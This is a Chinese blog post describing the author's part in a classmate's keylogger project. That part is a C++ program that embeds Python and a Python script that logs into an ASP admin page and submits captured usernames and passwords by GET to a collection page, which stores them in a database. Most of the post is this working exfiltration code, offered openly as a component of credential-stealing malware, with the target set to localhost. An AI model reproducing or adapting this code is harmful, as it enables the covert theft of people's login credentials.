PythonC++
帮同学弄个信息安全的东西,关于键盘记录,然后发布到Asp网页上,有意思呵呵,TaoBao上的卖主不错,用MFC和Asp来写的,有时间,把代码再好好看看,然后用他的技术写个别的东西。
先说我实现的办法吧,键盘记录他已经搞好了,我就负责把一段文本(用户名和密码)发送到网页上去,这段时间搞Python,所以对网页抓取,自动提交什么的稍微熟悉等,所以想用Python,通过Asp网页的Get方法,将数据提交上去,然后存在Access中,但是客户端(监听端)被限制只能用C++来写,所以就想办法混编C++和Python,用C++来调用Python,网上关于C++和Python混编还是蛮多的,一般还是用Python调用C++,一个写起来方便,一个效率高,这个叫扩展,反过来交嵌入。关于C++调用Python,可以参考这,两者都讲的可以参考这。但是环境配置的时候,遇到问题,链接错误什么的,不太清楚是什么原因,怀疑是C++和Python的版本匹配问题,后来改成Release编译就可以了,搞不懂,并且,不少函数还不能用的,悲剧。最后呢,回到了最原始的状态,就是在C++下,直接调用Python的代码运行~
给定两个参数,一个用户名,一个密码,然后将实现写好的Py代码中的相应位置,替换掉这两个值,然后运行,也就完成了将相应用户名和密码插入到服务器端的过程了。还一个问题就是Python方面,如果自动登录,用的是Post的方式,然后发现如果单用urllib2进行登录的话,会不成功,因为这里用到了session,某个网页的登录没问题,但是一旦跳转到另一个网页就会出现问题,session的值就为空了,所以要设置cookie,感觉cookie的概念比session要大,关于自动访问网页,这可以看看。
C++端的代码如下:
#include <iostream>
#include <Python.h>
#include <string>
using namespace std;
char ch[10000];
int main(int argc, char *argv[])
{
if(argc != 3)
{
cout << "argument is error!" << endl;
return 0;
}
string userName = argv[1];
string passWord = argv[2];
Py_Initialize();
PyObject * pModule = NULL;
PyObject * pFunc = NULL;
freopen("d:\\desktop\\test.py", "r", stdin);
int cnt = 0;
while(scanf("%c", &ch[cnt]) != EOF) cnt++;
string m = ch;
for(int i = 0; i < m.length(); i++)
{
if(m.substr(i, 3) == "lit")
{
m.replace(i, 3, userName);
i += userName.length() - 1;
}
else if(m.substr(i, 3) == "acm")
{
m.replace(i, 3, passWord);
i += passWord.length() - 1;
}
}
PyRun_SimpleString(m.c_str()); /* 运行字符串 */
Py_Finalize();
}
Python端的代码如下:
#!/usr/bin/env python
#coding=utf-8
import urllib, urllib2, cookielib
cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
params = {'txtUser':'admin','txtPass':'admin'}
#print params
url_login = 'http://localhost/icheck.asp'
req = urllib2.Request(url_login,urllib.urlencode(params))
operate = opener.open(req)
#info = operate.read()
#url_r = operate.geturl()
url_insert = 'http://localhost/qqget.asp?Action=Insert&userName=lit&passWord=acm'
urllib2.urlopen(url_insert)
print "insert ok"
试验成功的截图: